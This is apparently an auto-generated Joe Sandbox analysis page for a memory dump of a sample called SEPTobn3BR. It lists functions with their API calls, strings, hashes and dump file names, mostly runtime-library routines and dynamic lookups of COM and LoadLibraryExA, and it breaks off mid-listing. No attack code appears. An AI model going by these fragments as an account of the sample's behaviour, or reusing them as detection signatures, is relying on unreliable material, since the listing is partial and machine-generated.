_free.LIBCMT ref: 02C2FA6B
___free_lconv_mon.LIBCMT ref: 02C2FA76

Part of subcall function 02C2EC6E: _free.LIBCMT ref: 02C2EC8B
Part of subcall function 02C2EC6E: _free.LIBCMT ref: 02C2EC9D
Part of subcall function 02C2EC6E: _free.LIBCMT ref: 02C2ECAF
Part of subcall function 02C2EC6E: _free.LIBCMT ref: 02C2ECC1
Part of subcall function 02C2EC6E: _free.LIBCMT ref: 02C2ECD3
Part of subcall function 02C2EC6E: _free.LIBCMT ref: 02C2ECE5
Part of subcall function 02C2EC6E: _free.LIBCMT ref: 02C2ECF7
Part of subcall function 02C2EC6E: _free.LIBCMT ref: 02C2ED09
Part of subcall function 02C2EC6E: _free.LIBCMT ref: 02C2ED1B
Part of subcall function 02C2EC6E: _free.LIBCMT ref: 02C2ED2D
Part of subcall function 02C2EC6E: _free.LIBCMT ref: 02C2ED3F
Part of subcall function 02C2EC6E: _free.LIBCMT ref: 02C2ED51
Part of subcall function 02C2EC6E: _free.LIBCMT ref: 02C2ED63

_free.LIBCMT ref: 02C2FA8D
_free.LIBCMT ref: 02C2FAA2
_free.LIBCMT ref: 02C2FAAD
_free.LIBCMT ref: 02C2FACF
_free.LIBCMT ref: 02C2FAE2
_free.LIBCMT ref: 02C2FAF0
_free.LIBCMT ref: 02C2FAFB
_free.LIBCMT ref: 02C2FB33
_free.LIBCMT ref: 02C2FB3A
_free.LIBCMT ref: 02C2FB57
_free.LIBCMT ref: 02C2FB6F

Strings

xF, xrefs: 02C2FA48

Memory Dump Source

Source File: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: _free$___free_lconv_mon
String ID: xF
API String ID: 3658870901-2169143296
Opcode ID: b166b7e86ef1a7ddfa2e36ec319a6e916c21ca5d81851e2e5517d42b5c42f7b7
Instruction ID: 077cecee1432db2950c442a5ec490e159f967b8b8b8b6c7977df72e911f8a349
Opcode Fuzzy Hash: b166b7e86ef1a7ddfa2e36ec319a6e916c21ca5d81851e2e5517d42b5c42f7b7
Instruction Fuzzy Hash: DE319F31640228DFEB25AA39DD44B5BB7FAEF80350F54842DE849D75A1DF70EA88DB10

Function 02B96E60 Relevance: 24.5, APIs: 7, Strings: 7, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ole32.dll), ref: 02B96E66
GetProcAddress.KERNEL32(00000000,CoCreateInstanceEx), ref: 02B96E77
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 02B96E87
GetProcAddress.KERNEL32(00000000,CoAddRefServerProcess), ref: 02B96E97
GetProcAddress.KERNEL32(00000000,CoReleaseServerProcess), ref: 02B96EA7
GetProcAddress.KERNEL32(00000000,CoResumeClassObjects), ref: 02B96EB7
GetProcAddress.KERNEL32(00000000,CoSuspendClassObjects), ref: 02B96EC7

Strings

CoInitializeEx, xrefs: 02B96E81
CoCreateInstanceEx, xrefs: 02B96E71
CoAddRefServerProcess, xrefs: 02B96E91
ole32.dll, xrefs: 02B96E61
CoSuspendClassObjects, xrefs: 02B96EC1
CoResumeClassObjects, xrefs: 02B96EB1
CoReleaseServerProcess, xrefs: 02B96EA1

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: CoAddRefServerProcess$CoCreateInstanceEx$CoInitializeEx$CoReleaseServerProcess$CoResumeClassObjects$CoSuspendClassObjects$ole32.dll
API String ID: 667068680-2233174745
Opcode ID: cbbb91387027846a232fad756612048bdadd3398764de36bd98641b2dd641a1f
Instruction ID: 16742a2e6317a71aab61223cb5fb84c5ed88a992aafd58b23443e166279f5b69
Opcode Fuzzy Hash: cbbb91387027846a232fad756612048bdadd3398764de36bd98641b2dd641a1f
Instruction Fuzzy Hash: 5DF050B0A897526EBB007F70DCC2EA73B5D971068471019F5F51B56D22DAB48C108F60

Function 02C2DB99 Relevance: 24.4, APIs: 16, Instructions: 419COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 02C2DBC0
_free.LIBCMT ref: 02C2DC2B
_free.LIBCMT ref: 02C2DC51
_free.LIBCMT ref: 02C2DC7A
_free.LIBCMT ref: 02C2DCB2
_free.LIBCMT ref: 02C2DCE3
_free.LIBCMT ref: 02C2DD24
_free.LIBCMT ref: 02C2DDBE
_wcschr.LIBVCRUNTIME ref: 02C2DDFB
_free.LIBCMT ref: 02C2DE67
_free.LIBCMT ref: 02C2DE8D
_free.LIBCMT ref: 02C2DEB6
_free.LIBCMT ref: 02C2DEEB
_free.LIBCMT ref: 02C2DF1C
_free.LIBCMT ref: 02C2DF5D
_free.LIBCMT ref: 02C2DFFB

Memory Dump Source

Source File: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: _free$___from_strstr_to_strchr_wcschr
String ID:
API String ID: 1963305004-0
Opcode ID: 8f8f6bf8198f661361f87136ecb7ebf93a417bae196628050410ce4dfb3fc85f
Instruction ID: d3b335c813ae46a2c6a859d0220894691dc13c5991813988b4830d07a63f9d2a
Opcode Fuzzy Hash: 8f8f6bf8198f661361f87136ecb7ebf93a417bae196628050410ce4dfb3fc85f
Instruction Fuzzy Hash: A1D159719007706FDB25AF789C8066F7BA5EF61354F0441BEE98797280EFB19A088B91

Function 02C247F4 Relevance: 21.3, APIs: 14, Instructions: 296COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 02C24864
_free.LIBCMT ref: 02C2487A
_free.LIBCMT ref: 02C2488B
_free.LIBCMT ref: 02C2489C
_free.LIBCMT ref: 02C248B3

Part of subcall function 02C315E0: _free.LIBCMT ref: 02C3164B

_free.LIBCMT ref: 02C24AA7
_free.LIBCMT ref: 02C24ABA
_free.LIBCMT ref: 02C24AC8
_free.LIBCMT ref: 02C24AD3
_free.LIBCMT ref: 02C24B15
_free.LIBCMT ref: 02C24B1D
_free.LIBCMT ref: 02C24B25
_free.LIBCMT ref: 02C24B2D
_free.LIBCMT ref: 02C24B3B

Memory Dump Source

Source File: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 2f053ac60eb79ec191c053a7fddcedd63e35585dd27580e6f5fea4236b9889f4
Instruction ID: 35cbf59a2740daae7b142b1917548d34b54b6320a70f44bdd8dee2503d94d762
Opcode Fuzzy Hash: 2f053ac60eb79ec191c053a7fddcedd63e35585dd27580e6f5fea4236b9889f4
Instruction Fuzzy Hash: 67B1D171D002159FDB29DF68C880BEEBBF5FF48304F044069E999A7242DB719949EF60

Function 02B82530 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 254windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,?,Unexpected Memory Leak,00002010), ref: 02B828CE

Strings

An unexpected memory leak has occurred. , xrefs: 02B82690
String, xrefs: 02B827A1
The sizes of unexpected leaked medium and large blocks are: , xrefs: 02B82849
The unexpected small block leaks are:, xrefs: 02B82707
Unknown, xrefs: 02B8278C
, xrefs: 02B82814
Unexpected Memory Leak, xrefs: 02B828C0
bytes: , xrefs: 02B8275D
7, xrefs: 02B826A1

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: Message
String ID: $ bytes: $7$An unexpected memory leak has occurred. $String$The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak$Unknown
API String ID: 2030045667-32948583
Opcode ID: 000c5c3ef80f888f51078a05e0bbcdeca7d8b7ea28fe539fa763b105420fac46
Instruction ID: cc9acdcbb7a52f591403a0d3eb9a1f11348f33f3bd1196dd8041ca1c798c6d4d
Opcode Fuzzy Hash: 000c5c3ef80f888f51078a05e0bbcdeca7d8b7ea28fe539fa763b105420fac46
Instruction Fuzzy Hash: 8EA1E030A042E48BDF21BA2CCC84BD9B6E5EB09750F1441E5ED4DAB386CB7599C5CF51

Function 02C26BBD Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 02C26BD1
_free.LIBCMT ref: 02C26BDD
_free.LIBCMT ref: 02C26BE8
_free.LIBCMT ref: 02C26BF3
_free.LIBCMT ref: 02C26BFE
_free.LIBCMT ref: 02C26C09
_free.LIBCMT ref: 02C26C14
_free.LIBCMT ref: 02C26C1F
_free.LIBCMT ref: 02C26C2A
_free.LIBCMT ref: 02C26C38

Memory Dump Source

Source File: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 93d31162751b94c5375648fc1d7c6d5428524314512021667e8ac2086323d142
Instruction ID: 87f47331287aceb91ebfc77daf0a731256518d93b5a551371186661529dd60aa
Opcode Fuzzy Hash: 93d31162751b94c5375648fc1d7c6d5428524314512021667e8ac2086323d142
Instruction Fuzzy Hash: 0411B975150158BFCB15EF98CC41CDE3FAAEF04390B5580A1BE084F266DB71DA54AF50

Function 02BECDFD Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 296COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 02BECE0E
_wcslen.LIBCMT ref: 02BECEF4
_wcslen.LIBCMT ref: 02BECFB1

Strings

6, xrefs: 02BECEE8
t<F, xrefs: 02BED01D
!G, xrefs: 02BECE52
!G, xrefs: 02BECE84
$.F, xrefs: 02BED029

Memory Dump Source

Source File: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: _wcslen
String ID: $.F$6$t<F$!G$!G
API String ID: 176396367-201192458
Opcode ID: 7ee9b6793bad505f52b25d90490fb0d5f8a9afeb768bac4d3d28c008bec071fb
Instruction ID: 1299102faea41add83f24d442eb720055237858c4e8e0f9ae25ce7bf1fd85749
Opcode Fuzzy Hash: 7ee9b6793bad505f52b25d90490fb0d5f8a9afeb768bac4d3d28c008bec071fb
Instruction Fuzzy Hash: 289173711083406BDA19FB30DC60EBF77FAAF91700F5445EEE08757191EF28AA49CA56

Function 02C2F191 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 204COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 02C2F200
_free.LIBCMT ref: 02C2F20E
_free.LIBCMT ref: 02C2F33C
_free.LIBCMT ref: 02C2F347

Strings

xF, xrefs: 02C2F1BC

Memory Dump Source

Source File: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: _free
String ID: xF
API String ID: 269201875-2169143296
Opcode ID: 0017408d32ff71f8327e26c25c7248eb33913fce7ae2350609d9814c511e4433
Instruction ID: 58b554a6abf3561cc47175527638b25cf6de5d71fa1e374f387aa64973afd3ec
Opcode Fuzzy Hash: 0017408d32ff71f8327e26c25c7248eb33913fce7ae2350609d9814c511e4433
Instruction Fuzzy Hash: E961D376D00229AFDB20CF68C941BAEBBF5FF45720F14416ED848EB681EB709945DB90

Function 02B8252E Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 188COMMON

Download Yara Rule

Strings

An unexpected memory leak has occurred. , xrefs: 02B82690
The sizes of unexpected leaked medium and large blocks are: , xrefs: 02B82849
The unexpected small block leaks are:, xrefs: 02B82707
, xrefs: 02B82814
Unexpected Memory Leak, xrefs: 02B828C0
bytes: , xrefs: 02B8275D
7, xrefs: 02B826A1

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID:
String ID: $ bytes: $7$An unexpected memory leak has occurred. $The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak
API String ID: 0-2723507874
Opcode ID: 53696ce3e54dfd0197f7c9892426ec35260cea45545be7c2126b7a9ac19ae4bb
Instruction ID: 5287417ca808ddfeff90118f553c6ed405c537c187686baa2bcbac8853537036
Opcode Fuzzy Hash: 53696ce3e54dfd0197f7c9892426ec35260cea45545be7c2126b7a9ac19ae4bb
Instruction Fuzzy Hash: 5B71C034A042D88FEF21BA2CCC84BD9BAE5EB09740F1041E5E94DEB281DB758AC5CF51

Function 02C23C17 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 266COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 02C26CB1: _free.LIBCMT ref: 02C26CE8
Part of subcall function 02C26CB1: _abort.LIBCMT ref: 02C26D2F

_memcmp.LIBVCRUNTIME ref: 02C23EC1
_free.LIBCMT ref: 02C23F32
_free.LIBCMT ref: 02C23F4B
_free.LIBCMT ref: 02C23F7D
_free.LIBCMT ref: 02C23F86
_free.LIBCMT ref: 02C23F92

Strings

C, xrefs: 02C23D7F

Memory Dump Source

Source File: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: _free$_abort_memcmp
String ID: C
API String ID: 137591632-1037565863
Opcode ID: 432fc3ea507ab00d5c61cbebfc7d6860faf6a87f9b6526557229100be8563697
Instruction ID: a6c9c89575ddbfcb162da8d82e2fb119e10b2f6838e81f8411973ff6430dea3b
Opcode Fuzzy Hash: 432fc3ea507ab00d5c61cbebfc7d6860faf6a87f9b6526557229100be8563697
Instruction Fuzzy Hash: 33B15B75A016699FDB24DF18C888BADB7B5FF48304F5041EAD809A7350EB75AE98CF40

Function 02B8BD48 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 201threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,02B8C013,?,?,00000000,00000000), ref: 02B8BD7E

Part of subcall function 02B8A74C: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 02B8A76A

Strings

AMPM , xrefs: 02B8BFA1
:mm:ss, xrefs: 02B8BFCE
m/d/yy, xrefs: 02B8BE4D
:mm, xrefs: 02B8BFB1
AMPM, xrefs: 02B8BF92
mmmm d, yyyy, xrefs: 02B8BE7A

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: Locale$InfoThread
String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
API String ID: 4232894706-2493093252
Opcode ID: 0112cd8a0600c2f5f8463af608924ab94a1c249eef71fab711c2567a4f43b4a7
Instruction ID: c5fa57966ade0b56cb1a458e1b7017eb423cfe53864a923d7e3de9709bfc1ab0
Opcode Fuzzy Hash: 0112cd8a0600c2f5f8463af608924ab94a1c249eef71fab711c2567a4f43b4a7
Instruction Fuzzy Hash: D0618F39B001499BDB05FBB4D890ADFBBBBDF88340F5098F6E119AB641DA34D905DB60

Function 02B9AE20 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 102COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000004), ref: 02B9AE40
GetModuleHandleW.KERNEL32(KernelBase,LoadLibraryExA,?,00000004,?,00000014), ref: 02B9AE57
IsBadReadPtr.KERNEL32(?,00000004), ref: 02B9AEEB
IsBadReadPtr.KERNEL32(?,00000002), ref: 02B9AEF7
IsBadReadPtr.KERNEL32(?,00000014), ref: 02B9AF0B

Strings

LoadLibraryExA, xrefs: 02B9AE4D
KernelBase, xrefs: 02B9AE52

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: Read$HandleModule
String ID: KernelBase$LoadLibraryExA
API String ID: 2226866862-113032527
Opcode ID: ca1fb2cd571423cc2eb2c176b15433eddfa9c5593db0a2289458904e13997d3b
Instruction ID: 2faddc9b46a8df2df9eb2a9c23cd56d7f685c8f3ba8683e07fda3a656218678a
Opcode Fuzzy Hash: ca1fb2cd571423cc2eb2c176b15433eddfa9c5593db0a2289458904e13997d3b
Instruction Fuzzy Hash: 01314FB2A40705BBDF20DF68DC85F9A77ACEF05364F1045A4FA58EB280D770A950CBA4

Function 02B8432C Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38filewindowCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,?,00000000,?,02B843F3,?,?,02BE07C8,?,?,02BAD7A8,02B8655D,02BAC30D), ref: 02B84365
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,02B843F3,?,?,02BE07C8,?,?,02BAD7A8,02B8655D,02BAC30D), ref: 02B8436B
GetStdHandle.KERNEL32(000000F5,02B843B4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,02B843F3,?,?,02BE07C8), ref: 02B84380
WriteFile.KERNEL32(00000000,000000F5,02B843B4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,02B843F3,?,?), ref: 02B84386
MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 02B843A4

Strings

Error, xrefs: 02B84398
Runtime error at 00000000, xrefs: 02B8435E, 02B8439D

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: FileHandleWrite$Message
String ID: Error$Runtime error at 00000000
API String ID: 1570097196-2970929446
Opcode ID: 7151a556e8287c482eefed0fdd0200f8faef3f0bb8349286e844497f575f66b4
Instruction ID: c4b095727fee88f413ee093a6f8cc27ca9565a40b4b4b3c70ea8e5bb2a31ce63
Opcode Fuzzy Hash: 7151a556e8287c482eefed0fdd0200f8faef3f0bb8349286e844497f575f66b4
Instruction Fuzzy Hash: 8EF02470AD6302B9FB10B664AC16FA9332C8700F54F508AD4B23CA90D0D7A090C5CB26

Function 02C22885 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 02C228F7
_free.LIBCMT ref: 02C22917

Strings

8:G, xrefs: 02C228B0

Memory Dump Source

Source File: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
